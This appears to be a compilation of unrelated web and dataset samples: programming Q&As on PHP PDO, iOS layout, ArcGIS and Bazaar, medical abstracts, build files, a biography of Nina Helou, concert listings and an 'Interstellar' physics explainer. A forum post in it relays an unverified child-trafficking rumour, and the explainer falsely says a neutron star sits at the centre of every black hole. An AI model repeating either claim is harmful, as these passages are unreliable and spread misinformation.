Williams, R.J.: Simple statistical gradient-following algorithms for connectionist reinforcement learning. Machine learning **8**(3-4), 229–256 (1992)
Wu, Y., Song, W., Cao, Z., Zhang, J., Lim, A.: Learning improvement heuristics for solving the travelling salesman problem. arXiv preprint arXiv:1912.05784 (2019)
[^1]: Search step index $t$ is omitted in subsequent definitions to avoid notation clutter. Network parameters are shared for all steps $t$.
[^2]: In the definitions, bias terms are omitted unless otherwise specified.
|
{
"pile_set_name": "ArXiv"
}
|
Q:
Does PDO bindParam allow not existent variables?
As during development I set error_reporting(-1); so I was sure that every syntax error will be shown by PHP. It is, for example
echo $ttt;
of course it gives
Notice: Undefined variable: ttt in ...
In this piece of code (a part of some class representing a row in mysql table):
public function delete(){
// ...
$sth=$dbh->prepare('DELETE FROM tobjects WHERE IdObject=:id');
$sth->bindParam(':id',$this->fid,PDO::PARAM_INT);
$sth->execute();
I mistyped what is now $this->fid and the deletion did not occur, no error was even to be noticed, and I spent long time to find it.
The $dbh is set elsewhere as:
$dbh=new PDO("mysql:host=XXXX;port=XXXX;dbname=XXXX",$db_user,
$db_password,array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\''));
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
Am I doing something wrong or how is it possible that no error was given?
A:
You don't see the notice because the arguments of bindParam are passed as reference.
function test(&$var) {
// var may also be undefined
var_dump($var);
}
test($undef);
This don't throw any error. Doc: What References Do
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Is there a minimum size for UICollectionView or a bug in iOS 9 beta?
I have a very strange auto layout issue that I’ve never run into before. I’m not sure if it is a bug or I’m doing something silly.
First off this is with Xcode 7 beta 5 and running on the iOS 9 simulator.
The desired look is for a toolbar to be shown at the top with a couple buttons in it (one of which only appears when needed) and a collection view that fills the remainder of the screen as seen below:
I have constraints to keep the toolbar against the top, left, and right edges as well as touching the collection view below it. The collection view in addition to the 0 point distance to the toolbar above it has 0 point connections to the bottom, left and right edges of the view.
What I actually get however is two notices in the console that there are constraints that can’t be simultaneously satisfied. The constraints that get broken are shown below along with all of the constraints that get listed but they are the height of the toolbar and the 0 point spacing between the toolbar and collection view.
The notices list all the constraints that are involved in the problem followed by the constraint it will break to make things work (it always picks the wrong one…):
"<_UILayoutSupportConstraint:0x7fbaf9fd0e20 V:[_UILayoutGuide:0x7fbaf9fd9b40(20)]>",
"<_UILayoutSupportConstraint:0x7fbaf9fc94c0 V:|-(0)-[_UILayoutGuide:0x7fbaf9fd9b40] (Names: '|':UIView:0x7fbaf9fd9450 )>",
"<NSLayoutConstraint:0x7fbaf9d3f8d0 'toolbarHeight' V:[UIToolbar:0x7fbaf9d3f6f0(44)]>",
"<NSLayoutConstraint:0x7fbaf9fda8a0 'toolbarToCollectionView' V:[UIToolbar:0x7fbaf9d3f6f0]-(0)-[UICollectionView:0x7fbafa84c000]>",
"<NSLayoutConstraint:0x7fbaf9fa67e0 'toolbarTop' V:[_UILayoutGuide:0x7fbaf9fd9b40]-(0)-[UIToolbar:0x7fbaf9d3f6f0]>",
"<NSAutoresizingMaskLayoutConstraint:0x7fbaf9d4ac90 h=-&- v=-&- 'UIView-Encapsulated-Layout-Top' V:|-(0)-[UIView:0x7fbaf9fd9450] (Names: '|':UITransitionView:0x7fbaf9fd91d0 )>"
Will attempt to recover by breaking constraint
<NSLayoutConstraint:0x7fbaf9d3f8d0 'toolbarHeight' V:[UIToolbar:0x7fbaf9d3f6f0(44)]>
"<_UILayoutSupportConstraint:0x7fbaf9fd0e20 V:[_UILayoutGuide:0x7fbaf9fd9b40(20)]>",
"<_UILayoutSupportConstraint:0x7fbaf9fc94c0 V:|-(0)-[_UILayoutGuide:0x7fbaf9fd9b40] (Names: '|':UIView:0x7fbaf9fd9450 )>",
"<NSLayoutConstraint:0x7fbaf9fda8a0 'toolbarToCollectionView' V:[UIToolbar:0x7fbaf9d3f6f0]-(0)-[UICollectionView:0x7fbafa84c000]>",
"<NSLayoutConstraint:0x7fbaf9fa67e0 'toolbarTop' V:[_UILayoutGuide:0x7fbaf9fd9b40]-(0)-[UIToolbar:0x7fbaf9d3f6f0]>",
"<NSAutoresizingMaskLayoutConstraint:0x7fbaf9d4ac90 h=-&- v=-&- 'UIView-Encapsulated-Layout-Top' V:|-(0)-[UIView:0x7fbaf9fd9450] (Names: '|':UITransitionView:0x7fbaf9fd91d0 )>"
Will attempt to recover by breaking constraint
<NSLayoutConstraint:0x7fbaf9fda8a0 'toolbarToCollectionView' V:[UIToolbar:0x7fbaf9d3f6f0]-(0)-[UICollectionView:0x7fbafa84c000]>
Given that both sets of constraints list NSAutoresizingMaskLayoutConstraint I added the following code to attempt and stop extra constraints from being added, it had no effect…
collectionView.translatesAutoresizingMaskIntoConstraints = false
toolbar.translatesAutoresizingMaskIntoConstraints = false
If I set the view itself to not translate autoresizing mask into constraints and all that appears is black (but the collection view does get created, but buried somewhere).
the issue seems to be the NSAutoresizingMaskLayoutConstraint but I can't figure out how to make it go away.
Is this all from a bug in the beta? Is there some strange minimum collection view size (it seems like the collection view is a screen hog)? Or am I missing something (likely something super obvious)?
I got the first image by forcing the collection view to have the proper frame size in viewDidAppear() but once the collection view is scrolled down a ways it breaks free of the frame and takes the whole screen.
If I debug the view hierarchy the toolbar does in fact show up behind the collection view so it is getting drawn.
A:
It appears this is a bug, the workaround is to delete every constraint from all of the views and create the proper constraints in code and add them to the primary view. This swap has to happen in viewDidAppear as the trouble makers don't appear before that.
|
{
"pile_set_name": "StackExchange"
}
|
[Charcot foot. Current situation and outlook].
Neuro-osteoarthropathy is accompanied by the destruction of single or multiple joints involving little or no pain. Diabetic patients suffering from symmetric distal polyneuropathy are the main risk group. The main location is the foot (Charcot foot). Inadvertent or repetitive trauma appears to be the main trigger mechanism for Charcot foot. Undiagnosed and untreated fractures and dislocations, foot and ankle deformities and instabilities with consecutive ulcerations may be the consequence, which again may increase the risk for later extremity loss due to the need for amputation or at least functional deterioration. Early diagnosis in the acute phase is of the utmost importance for the patient's prognosis. The primary strategy consists of unloading and immobilizing the foot and the corresponding extremity followed by stage-related protected remobilization until definite healing occurs. Surgical intervention is a key-stone in the treatment of complications at any stage. Surgery is an essential part of treatment and should be integrated into the overall treatment plan. The main indications for orthopedic reconstruction are non-plantigrade foot and ankle deformities or instabilities with concomitant ulcers that cannot be adequately addressed by non-operative measures, mainly in the chronic stage of Charcot foot. As such, surgical reconstruction can contribute to the long-term preservation of the affected foot and help to maintain or improve the patient's mobility and quality of life.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
set(LLVM_LINK_COMPONENTS
AsmParser
BitWriter
Core
Support
)
add_llvm_fuzzer(llvm-as-fuzzer
llvm-as-fuzzer.cpp
)
|
{
"pile_set_name": "Github"
}
|
Nina Helou
Nina Helou (, 1904–1989) was a Lebanese lawyer and First Lady of Lebanon. She was the second woman lawyer to be registered with the bar association of the Mandate for Syria and Lebanon, during French administration. Her practice was mainly focused on women and women's issues. Marrying a fellow lawyer, she was the first woman to serve on the Beirut City Council. In 1964, Helou became the First Lady of Lebanon and during her tenure, she oversaw the completion of the Baabda Palace and the renovation of the Beiteddine Palace, as well as a city-wide beautification project. She was also devoted to social welfare programs and charitable organizations, particularly the Lebanese Red Cross.
Early life
Nina Trad was born in 1904 in Beruit, capital of the Beirut Vilayet, Ottoman Empire to Michel Trad and his Colombian wife. She was the niece of Petro Trad, who served as President of the French Mandate of Lebanon in 1943. Attending law school at the Jesuit School of Law, Trad met Charles Helou, another student in the law faculty. She graduated in 1931 with Blanche Ammoun, though Ammoun did not ever practice law. Later that year, on 7 October 1931, Paulette Ameslend Tamer, a French national, became the first woman to register with the bar association of the French Mandate of Lebanon. Trad was admitted to the bar on 6 January 1932, becoming its second woman member.
Career
After joining the bar, Trad began working in her uncle Petro Trad's law firm. She focused her practice on helping Lebanese women with legal issues. Helou joined the firm when he completed his studies and they began both a working and romantic relationship. They prepared cases together and jointly pleaded them in 1940 for the French military tribunals. Though Helou's family did not support the relationship, in part because Trad was 9 years older than he was, the couple married in 1952. Even after her marriage, Trad-Helou continued her legal practice. In addition, she was involved in many humanitarian organizations and women's rights organizations, like the Lebanese Red Cross and various women's associations which focused on the needs of women and children. She was the founder and inaugural president of the University Women's Association of Lebanon.
In 1961, Trad-Helou was appointed to serve on the Beirut City Council and proposed a beautification project for the city to preserve its historical monuments and promote tourism. Initially there was resistance from council members, but the public supported the efforts. In 1964, when her husband became President of Lebanon, she embarked upon a plan to complete the Baabda Palace, which had been under construction since 1956. Coordinating with the Ministry of Works and Maurice Chehab, head of the Bureau of Antiquities, she proposed changes to the design to make it more authentically Lebanese, using archways and yellow stone. Initially, the couple lived in rented quarters, but in January 1969, it began being used as the official residence of the presidency. When the Baabda Palace was completed, she turned her attention to the presidential summer residence, Beiteddine Palace beginning a renovation project.
Death and legacy
Trad-Helou died from cancer in 1989 and her funeral, attended by many dignitaries, was held on 1 April at the chapel of the Holy Spirit University of Kaslik. Her husband published Nina, ou la quête de l'impossible (Nina, or the search for the impossible) in 1991 about her final struggle with disease. The government issued a postal stamp as part of a series on women's firsts in Lebanon which bore her likeness, but it was retracted after it was confirmed she was the second woman to join the bar. In 1993, she was honored posthumously, along with Sonia Ibrahim Attia, by the Arab Lawyers Union at their meeting in Casablanca for her defense of women's rights.
Notes
References
Citations
Bibliography
Category:1904 births
Category:1989 deaths
Category:20th-century Lebanese lawyers
Category:First Ladies of Lebanon
Category:Lebanese activists
Category:Lebanese lawyers
Category:Lebanese Maronites
Category:People from Beirut
Category:Lebanese people of Colombian descent
Category:Saint Joseph University alumni
Category:Women activists
Category:Women lawyers
Category:Women's rights activists
|
{
"pile_set_name": "Wikipedia (en)"
}
|
A case of pancreatic solid-pseudopapillary neoplasm with marked ossification.
A cystic lesion of the pancreas was detected in a 25-year-old asymptomatic woman during a company medical checkup. Abdominal computed tomography (CT) revealed an ossified lesion in the pancreatic body, and the patient was referred to us for further management. Abdominal ultrasound and endoscopic ultrasound showed a hypoechoic mass with a large ossific focus, measuring 25 mm in the pancreatic body. CT and magnetic resonance imaging (MRI) showed a nonenhancing tumor lesion with a large calcific focus, measuring 20 mm in the pancreatic body. Endoscopic retrograde pancreatography revealed mild stenosis of the main pancreatic duct near the ossific focus in the pancreatic body. From the above, a pancreatic solid-pseudopapillary neoplasm (SPN) was suspected, and resection of the pancreatic body was performed. Intraoperatively, a whitish tumor measuring about 20 mm was recognized. Histopathologically, moderately large-sized tumor cells containing eosinophilic cytoplasm were arranged in a pseudopapillary formation, and infiltrated the surrounding normal tissue with ossification. Immunostaining was positive for α1-antitrypsin, not inconsistent with the diagnosis of SPN. We report this case of pancreatic SPN with ossification and a review of the literature.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
############################################################
# <bsn.cl fy=2013 v=none>
#
# Copyright 2013, 2014 BigSwitch Networks, Inc.
#
#
#
# </bsn.cl>
############################################################
ifndef ONL
$(error $$ONL is undefined.)
endif
# Fill me out if necessary
# ONL_REQUIRED_SUBMODULES :=
# ONL_REQUIRED_PACKAGES :=
include $(ONL)/make/component.mk
|
{
"pile_set_name": "Github"
}
|
Hello everyone! We are coming off a very impressive week of live music here in Minnesota, but don’t rest yet because we’ve got a week that is going to be just as amazing! If you’re joining us after hearing our “Concerts This Week” segment on KFAI 90.3 & 106.7, welcome! If not, make sure you tune in this week! Enough plugging though, lets get down to it! Here is our breakdown of the biggest and best shows coming right here to Minnesota this week! Hope to see you out there!
Monday, March 26th
7th St Entry – Superorganism w/ Helena Deland
SOLD OUT
18+ Show
Doors @ 7:00
Tuesday, March 27th
First Avenue – Wolf Alice w/ The Big Pink
18+ Show
Doors @ 7:00
Ticket Info Here
Music Hall MPLS – Andy Grammar w/ James TW
18+ Show
Doors @ 8:00
Ticket Info Here
Fine Line Music Cafe – Colter Wall w/ The Local Honeys
18+ Show
Doors @ 7:00
Ticket Info Here
Turf Club – The Wedding Present w/ Terry De Castro and DJ Jake Rudh
21+ Show
Doors @ 7:00
Ticket Info Here
The Cedar – Nils Frahm Presents: All Melody
SOLD OUT
All Ages
Doors @ 7:00
7th St Entry – Shopping w/ Real Numbers and Products
18+ Show
Doors @ 7:30
Ticket Info Here
Wednesday, March 28th
First Avenue – Yo La Tengo
18+ Show
Doors @ 7:00
Ticket Info Here
Turf Club – Cindy Wilson w/ Olivia Jean, Easter Island, and DJ Jake Rudh
21+ Show
Doors @ 7:00
Ticket Info Here
7th St Entry – Acid Dad w/ France Camp and Go For Retro
18+ Show
Doors @ 7:30
Ticket Info Here
Thursday, March 29th
The Armory – 90’s Block Party w/ Ginuwine, 112, Next, and Jagged Edge
21+ Show
Doors @ 6:30
Ticket Info Here
Cinema Grill & Outtakes Bar – Lita Ford
21+ Show
Doors @ 6:00
Ticket Info Here
Icehouse MPLS – David Huckfelt w/ Annie Humphrey
21+ Show
Doors @ 5:00
Ticket Info Here
The Cedar – Los Amigos Invisibles w/ DJ Don Cuco
All Ages
Doors @ 7:00
Ticket Info Here
Turf Club – Laila Biali w/ 26 Bats! and Maria and the Coins
21+ Show
Doors @ 7:00
Ticket Info Here
7th St Entry – L.A. Salami w/ Cat Clyde
18+ Show
Doors @ 7:30
Ticket Info Here
Friday, March 30th
First Avenue – Jeremy Messersmith w/ Monica LaPlante
18+ Show
Doors @ 8:00
Ticket Info Here
Myth Live – Nightwish
All Ages
Doors @ 7:00
Ticket Info Here
Mystic Lake Casino – Sammy Hagar
18+ Show
Doors @ 8:00
Ticket Info Here
The Cedar – Pat Donohue & the Prairie All-Stars
All Ages
Doors @ 7:00
Ticket Info Here
The Garage – Glass Houses w/ Northern Ghost, Wide Awake, Aurora View, and Faulter
All Ages
Doors @ 6:00
Ticket Info Here
7th St Entry – Ought w/ Flasher
18+ Show
Doors @ 8:00
Ticket Info Here
Turf Club – Dylan LeBlanc w/ The Artisanals
21+ Show
Doors @ 8:00
Ticket Info Here
Saturday, March 31st
Myth Live – Sexy Party 8 w/ Borgore
18+ Show
Doors @ 8:00
Ticket Info Here
7th St Entry – Gang of Youths w/ Public Access T.V. and Common Holly
SOLD OUT
18+ Show
Doors @ 8:00
Turf Club – The Low Anthem w/ Haley Heynderickx
21+ Show
Doors @ 8:00
Ticket Info Here
The Cabooze – Blvck Madonna w/ Tek & Baby Shel
18+ Show
Doors @ 9:00
Ticket Info Here
Sunday, April 1st
7th St Entry – Yamantaka & Sonic Titan w/ Another Heaven and Hastings 3000
|
{
"pile_set_name": "OpenWebText2"
}
|
Paraganglioma of seminal vesicle and chromophobe renal cell carcinoma: a case report and literature review.
Extra-adrenal paragangliomas are rare tumors that have been reported in many locations, including the kidney, urethra, urinary bladder, prostate, spermatic cord, gallbladder, uterus and vagina. This report describes, for the first time to the best of our knowledge, a primary paraganglioma of the seminal vesicle occurring in a 61-year-old male. The patient presented persistent arterial hypertension and a previous diagnosis of chromophobe renal cell carcinoma. It was hypothesized that the seminal vesicle tumor could be a metastasis from the chromophobe renal cell carcinoma. Immunohistochemical characterization revealed expression of synaptophysin and chromogranin in tumor cell nests and peripheral S100 protein expression in sustentacular cells. Succinate dehydrogenase A and B-related (SDHA and SDHB) expression was present in both tumors. No genetic alterations to the VHL and SDHB genes were detected in either the tumor tissue or tissues adjacent to the tumor, which led us to rule out a hereditary syndrome that could explain the association between paraganglioma and chromophobe renal cell carcinoma in a patient with arterial hypertension.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
A man known as the 'hangi master' showed off his traditional techniques to the world's best chefs at last week's Taste of Auckland festival.
Cooking hangi has been a labour of love for Rewi Spraggon - a skill passed down through the generations.
"Anyone can cook, but when you cook with your grandfather's rocks that are 100 years old that have cooked for tens of thousands of people, that's a story."
Mr Spraggon says anything can be cooked in a hangi - and that it always tastes better.
"We can do anything, from cooking lasagne in a hangi to cooking octopus to cooking goat," he says.
"At the end of the day this is a conventional oven."
It might be a traditional method of cooking for Māori, but for people like Will Michel, chef at Sawmill Brewery, it's a first.
"Growing up in a big city in the UK, you don't often get a chance to dig holes in the middle of the city and bury meat," Mr Michel says.
"So it's beautiful to be able to use these kinds of traditional methods and put a spin on them."
Mr Spraggon's ambitions go far beyond the typical hangi fare of meat and vegetables. He's currently experimenting with ice cream.
"I'm doing stuff like smokey hokey pokey, which is fast, hot. Eventually I want to infuse it in ice cream," he says.
"It's better than salted caramel, you've got the smoke, you've got the earth flavour going through the hokey pokey which is a real Kiwi thing. But to actually put it in a hangi, it's crazy stuff."
He wants to pass his skills on to the masses, so that cooking hangi will remain a tradition to connect the generations.
"Every community had a hangi master, whether it's your brother, your uncle, your dad. Everyone had it. So the hangi master for me is acknowledging the skill set that our old people had, and keeping this part of our culture alive."
The Hui
|
{
"pile_set_name": "OpenWebText2"
}
|
1. Technical Field
This invention relates in general to recording programs and more particularly to identifying and rerecording only the incomplete units of a recording of a previous broadcast of a program.
2. Description of the Related Art
Television broadcast subscribers and other broadcast program subscribers typically have an option to add a recording device, such as a digital video recorder (DVR) device, to receive and record programs as the programs are broadcast. Many recording devices are also programmable, such that a user may pre-program the recording device to record programs during scheduled broadcast times. Recordings of program broadcasts by recording devices may be incomplete, or otherwise compromised, by errors introduced by the program receiver, errors introduced by the recording device, errors in the broadcast equipment, and errors in the broadcast transmission.
|
{
"pile_set_name": "USPTO Backgrounds"
}
|
[Effects of a vegetarian life style on health].
A vegetarian diet has a positive effect on various risk factors for coronary artery disease: these include usually lower average body weight, lower total and LDL cholesterol levels, and lower blood pressure. In conjunction with a generally more healthy way of life (more exercise, less alcohol and tobacco use), vegetarians have roughly 30% reduction in overall mortality. The prevalence of bronchial, colon and breast cancer is also lower. In particular in its strict form (total vegetarianism or veganism), a vegetarian regimen may lead to deficiency disorders, in particular vitamin B12 deficiency, which may occur especially in vegetarian children, pregnant or lactating women. Overall, however, a vegetarian regimen has a more beneficial effect on health than the usual Central European diet.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
Rakhi Birla will be the candidate from Northwest Delhi. (PTI) Rakhi Birla will be the candidate from Northwest Delhi. (PTI)
A little over two weeks after he was given an AAP ticket from reserved Northwest Delhi constituency, Mahender Singh withdrew his candidature on Tuesday alleging that he received little support from the party’s local units. He also alleged that former Delhi minister Rakhi Birla demanded Rs 7 lakh when he asked her to campaign for him. The party has denied the allegations.
Singh’s exit, however, seemed to have cleared the way for Birla. Sources in the AAP late on Tuesday said Birla would now be the candidate from the constituency. The decision was confirmed after a meeting of the Political Affairs Committee (PAC) of the party at Arvind Kejriwal’s residence.
“It has been decided that Mahender Singh will no longer be the candidate and, in all likelihood, Rakhi Birla will be the candidate from Northwest Delhi. Her candidature will be confirmed in the next few days,” a party leader said.
According to Singh, he was disenchanted after he got little support from the AAP’s local unit. “There were forces working against me that compelled me to resign. When I asked Rakhi Birla to campaign for me in my constituency, she asked me for Rs 7 lakh as she was a star campaigner. I also heard that the party was going to replace me with Birla. Hence, I stepped down of my own volition,” Singh said.
AAP spokesperson Nagender Sharma said, “He has resigned because of personal reasons.” Sources in the AAP also denied the charges levelled by Singh and said he had not conveyed these issues to party leaders.
“Even on Tuesday morning, he did not bring these issues up. People from the party’s local unit were also speaking against his candidature. When he got wind that we might remove his name, he manufactured these allegations against Birla.” a party leader said.
In the weeks leading to Singh’s declaration as candidate, speculation had been rife that Birla would be the Northwest Delhi candidate. However, after protests by party workers, the PAC had decided that no sitting MLA would be given a ticket.
While party sources admitted that the present move to declare Birla was contradictory to the PAC’s decision at that time, they said they had little choice. “In a reserved seat, with such little time remaining, there is very little choice. She (Birla) has emerged as a powerful Dalit face and will bring in lots of support,” a party leader said.
📣 The Indian Express is now on Telegram. Click here to join our channel (@indianexpress) and stay updated with the latest headlines
For all the latest Delhi News, download Indian Express App.
|
{
"pile_set_name": "OpenWebText2"
}
|
News: Researcher Defends Mac Wi-Fi Hijack
c|net - "David Maynor, a researcher at SecureWorks, was a no-show Saturday at the ToorCon hacker event here, just as his employer said on Friday. However, his Black Hat partner Jon "Johnny Cache" Ellch did get up on stage. "I can not give this talk without Dave," Ellch said. "Dave very much wanted to be here. The fact that SecureWorks and Apple managed to compel him not to, means that they must have had something very compelling to stop him."
Very interesting. I love reading about this type of stuff. Specially when he/she or whoever chickens out at the last minute...LOL Just beautiful! Here is the original story if your not up to speed on this on-going disputeCLICK HERE. Enjoy! -Psycho_Active *Lead News Editor/Forum Moderator*
|
{
"pile_set_name": "Pile-CC"
}
|
import { connect } from 'react-redux';
import AppUpdatedModal from './AppUpdatedModal';
function createMapDispatchToProps(dispatch, props) {
return {
onModalClose() {
location.reload();
}
};
}
export default connect(null, createMapDispatchToProps)(AppUpdatedModal);
|
{
"pile_set_name": "Github"
}
|
Cerebrospinal fluid rhinorrhea caused by bromocriptine therapy of prolactinoma.
We studied a man with cerebrospinal fluid rhinorrhea due to bromocriptine-induced shrinkage of a prolactin-secreting pituitary tumor. Unlike other reported cases with pituitary tumors and rhinorrhea, our patient never had previous radiotherapy or surgery. The fistula was clearly demonstrated by CT. The original signs included homonymous hemianopia due to a left optic tract compression. Bromocriptine treatment is an invaluable adjunct in long-term management of invasive prolactinomas, but surgical intervention is indicated if a CSF fistula results.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
With grant support from the Office on Violence Against Women (OVW), EVAWI provides technical assistance on the law enforcement and community response to sexual assault, gender-bias, and VAWA forensic compliance.
Please note that we cannot provide on-site training.
Also, our grants are limited to adolescent and adult victims of sexual assault (not child victims).
|
{
"pile_set_name": "OpenWebText2"
}
|
About This Game Guard of Wonderland is a VR-novel created from our inspirations of "Alice in Wonderland"; a tribute of respect and love for the author's talent. Here is the atmosphere of absurdity and, at the same time, the beauty of the world in the book, but with new characters and an unconventional look at the story of Wonderland. Adventures will reveal a terrible story, where phantasmagoria, influenced under the impression of the book, intertwines with the eerie reality of our world!
USP project:
♛ The world's first visual novel in virtual reality, dedicated to the world of Alice in Wonderland!
♟ The insane journey through the phantasmagoria of Wonderland
♞ The plot presented in verse and visual images
♜ Interactive gameplay with bosses
♝ Several alternative endings that depend on your actions in the game
♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢♠♡♣♢
Special thanks to Richard "Levelord" Gray, the game designer of legendary games, who inspired the Wonder Games team to develop their own, for his invaluable contribution to the project.
|
{
"pile_set_name": "OpenWebText2"
}
|
Intolerance of Uncertainty, anxiety, and worry in children and adolescents: A meta-analysis.
Intolerance of uncertainty (IU) has been implicated in the development and maintenance of worry and anxiety in adults and there is an increasing interest in the role that IU may play in anxiety and worry in children and adolescents. We conducted a systematic review and meta-analysis to summarize existing research on IU with regard to anxiety and worry in young people, and to provide a context for considering future directions in this area of research. The systematic review yielded 31 studies that investigated the association of IU with either anxiety or worry in children and adolescents. The meta-analysis showed that IU accounted for 36.00% of the variance in anxiety and 39.69% in worry. Due to the low number of studies and methodological factors, examination of potential moderators was limited; and of those we were able to examine, none were significant moderators of either association. Most studies relied on questionnaire measures of IU, anxiety, and worry; all studies except one were cross-sectional and the majority of the studies were with community samples. The inclusion of eligible studies was limited to studies published in English that focus on typically developing children. There is a strong association between IU and both anxiety and worry in young people therefore IU may be a relevant construct to target in treatment. To extend the existing literature, future research should incorporate longitudinal and experimental designs, and include samples of young people who have a range of anxiety disorders.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
Q:
Refresh Database Connection in ArcCatalog
I have created a feature class in an Oracle 11g database connection with ArcCatalog 10.2 (without ArcSDE) and I can see the table in the database with Sql Developer without problems. But, if I drop this table with a sql statement in Sql Developer and then refresh the database connection in ArcCatalog, the feature class does not disappear (even if I create a new feature class with the same name, I have an Invalid name error because the name already exists).
I have tried the same scenario with a view, and there is no problem, ArcCatalog updates.
I could remove the feature class in ArcCatalog, but I need to use a stored procedure in the database to drop the table and after that refresh ArcCatalog.
Any ideas why ArcCatalog does not refresh?
A:
It does not refresh since there is still a reference to this feature class in the geodatabase.
making changes to geodatabases is more complex than just dropping a table since it is part of the geodatabase 'format' rather than just pure SQL.
At minimum in addition to dropping the table, you would also need to check and remove its UUID from the GDB_Items table (holding list of all feature classes etc), also GDB_ItemRelationShips depending on the design of your geodatabase.
for more information on the design of the gdb, please see this link -
https://desktop.arcgis.com/en/desktop/latest/manage-data/using-sql-with-gdbs/overview-geodatabase-system-tables.htm#GUID-9892ECE9-D9EA-47C7-AE41-C7318B5EA56C
I recommend that you look into the ESRI's APIs for making a script to do this rather than directly editing the SQL.
|
{
"pile_set_name": "StackExchange"
}
|
There are no spoilers in this post. In fact, we strongly advise you to read this before going to see the film.
Christopher Nolan's latest mind-trip "Interstellar" will be premiering in theaters across the country on Friday, Nov. 7. No doubt, the film is the strangest cinematic experience you will have had since Nolan's "Inception."
But unlike "Inception," the visually-gripping film "Interstellar" is based on real, scientific concepts like neutron stars, spinning black holes, and time dilation. And if you're not at least semi-familiar with these terms, you might end up feeling a little lost during the movie.In the movie, a crew of space explorers embark on an extra-galactic journey through a wormhole. What awaits them on the other side is another solar system with a spinning black hole for a sun.
They must race against space and time to complete their mission. All this space travel can get a little confusing, but it relies on some basic physics principles. And if you understand these principles, then you'll spend less time guessing and more time enjoying.
Artificial Gravity
Here's a brief guide to the five physics concepts you need to know in order to understand "Interstellar."
A big problem we, as humans, face with long-term space travel is the affects of zero gravity in space. We were born on Earth and therefore our bodies are adapted to thrive under certain gravitational conditions, but when we're in space for long period of time, our muscles degrade.
This is an issue for the travelers in "Interstellar," too. To combat this, scientists have conceived different designs of installing artificial gravity on spaceships. One way is to rotate the spacecraft, like in the film. The rotation creates a force, called centrifugal force, that pushes objects to the outer walls of the spacecraft. This push acts similar to how gravity would, but just in an opposite direction.
You experience this same form of artificial gravity when you're driving around a tight curve and feel like you're being pushed outward, away from the central point of the curve. For a spinning spacecraft, your wall becomes the floor on which walk.
Spinning Black Holes
At the center of every black hole is an extremely dense, massive, compact star called a neutron star. Astronomers have known for decades that certain neutron stars spin - some at a rate of thousands of times per second.
Spinning neutron stars, that are dense enough, produce spinning black holes, which astronomers have observed, albeit indirectly. What you need to know about spinning black holes is that they warp the space around them differently than stationary black holes.
This warping process is called frame dragging, and it affects the way a black hole will look and distort the space and, more importantly, the spacetime around it. The spinning black hole you see in the film is surprisingly scientifically accurate.
Wormholes
Wormholes - like the one the "Interstellar" crew use - are one of the only physical phenomenon in the film that don't have any observational evidence to support their existence. They are purely theoretical but an incredibly handy plot device for any science fiction story looking to traverse cosmic distances.
This is because wormholes are essentially shortcuts through space. Any object with mass will create a divot in space, meaning space can be stretched, distorted, or even folded. A wormhole is a fold in the fabric of space (and time) that connects two, otherwise extremely distant, regions in space, which enables space explorers to travel long distances over a short period of time.
Gravitational Time Dilation
The official term for a wormhole is an Einstein-Rosen bridge because they were first theorized by Albert Einstein and his colleague Nathan Rosen in 1935.
Gravitational time dilation is a real phenomenon that has been observed on Earth . It occurs because time is relative, meaning time runs at different rates for different reference frames. When you're in a strong gravitational environment time runs slower for you relative to people in a weak gravitational environment. If you are near a black hole, like the one in the film, your gravitational reference frame, and therefore your perception of time, is different than someone standing on Earth. This is because the gravitational pull from the black hole is stronger the closer you are to it.
For you, a minute near a black hole will still last 60 seconds, but if you could look at a clock on Earth, a minute will appear to last less than 60 seconds. This means you will age more slowly than the people on Earth. And the stronger the gravitational field you're in, the more extreme the time dilation.
This plays an important role in the film when the explorers encounter a black hole at the center of another solar system.
Five-Dimensional Reality
Albert Einstein spent the last 30 years of his life working out what physicists call a unified theory - which would combine the mathematical concept of gravity with the other three fundamental forces of nature: the strong force, weak force, and electromagnetic force. He failed to find one, as have countless physicists since Einstein.
Gravity refuses to cooperate, and some physicists think that one way to solve this outstanding mystery is to treat our universe as if it actually functioned in five dimensions, instead of the four-dimensional universe Einstein developed in his theory of relativity, which couples three-dimensional space with one-dimensional time, a.k.a. spacetime.
Movie Time
Nolan toys with this idea that our universe has five dimensions in the film and gravity's important role in it all.That wasn't too bad, right? Now it's time to test what you've learned and go see the movie. Let us know in the comments below if this post was helpful.
Here's the official movie trailer by Warner Bros. UK.
Advertisement
|
{
"pile_set_name": "OpenWebText2"
}
|
I searched, but did not find this topic posted anywhere. Could be user errorAnyways, I was on a news site comment section and someone randomly posted that some vets in Tucson, AZ had apparently come across a child sex enslavement camp and are currently taking it apart because nobody in law enforcement will come out and look. This has been happening today. This is the public Facebook page for it. VOP Alpha Co - Team Pulaski I am confused as to what is really going on. No news coverage. I am trying to follow via the comments, but am still confused so I came HERE right away. Has anyone here heard about this?Just found this video on their page. WTF ?
|
{
"pile_set_name": "OpenWebText2"
}
|
Q:
Are there magic commit words in Launchpad Code?
I know in a lot of source control tracking systems (Redmine, Trac, Jira) you can add magic words like resolves #1234 in your commit message to have the bug updated to a certain status. Is there a feature like this with Launchpad - if so where, or what, is the list of magic keywords?
An example can be seen on Redmine's issue tracker page.
http://www.redmine.org/issues/6987 has two "Associated Revisions"
They're associated because the commit message has Fixed: Wiki#find_page should not be case sensitive because page title uniqueness is not (#6987). The combination of Fixed as a keyword and #6987, bug's unique ID, automatically updated the associated ticked to fixed.
A:
From http://doc.bazaar.canonical.com/development/en/user-reference/bugs-help.html:
When making a commit, metadata about bugs fixed by that change can be recorded by using the --fixes option. For each bug marked as fixed, an entry is included in the ‘bugs’ revision property stating ‘<url> <status>’. (The only status value currently supported is fixed.)
The --fixes option allows you to specify a bug tracker and a bug identifier rather than a full URL. This looks like:
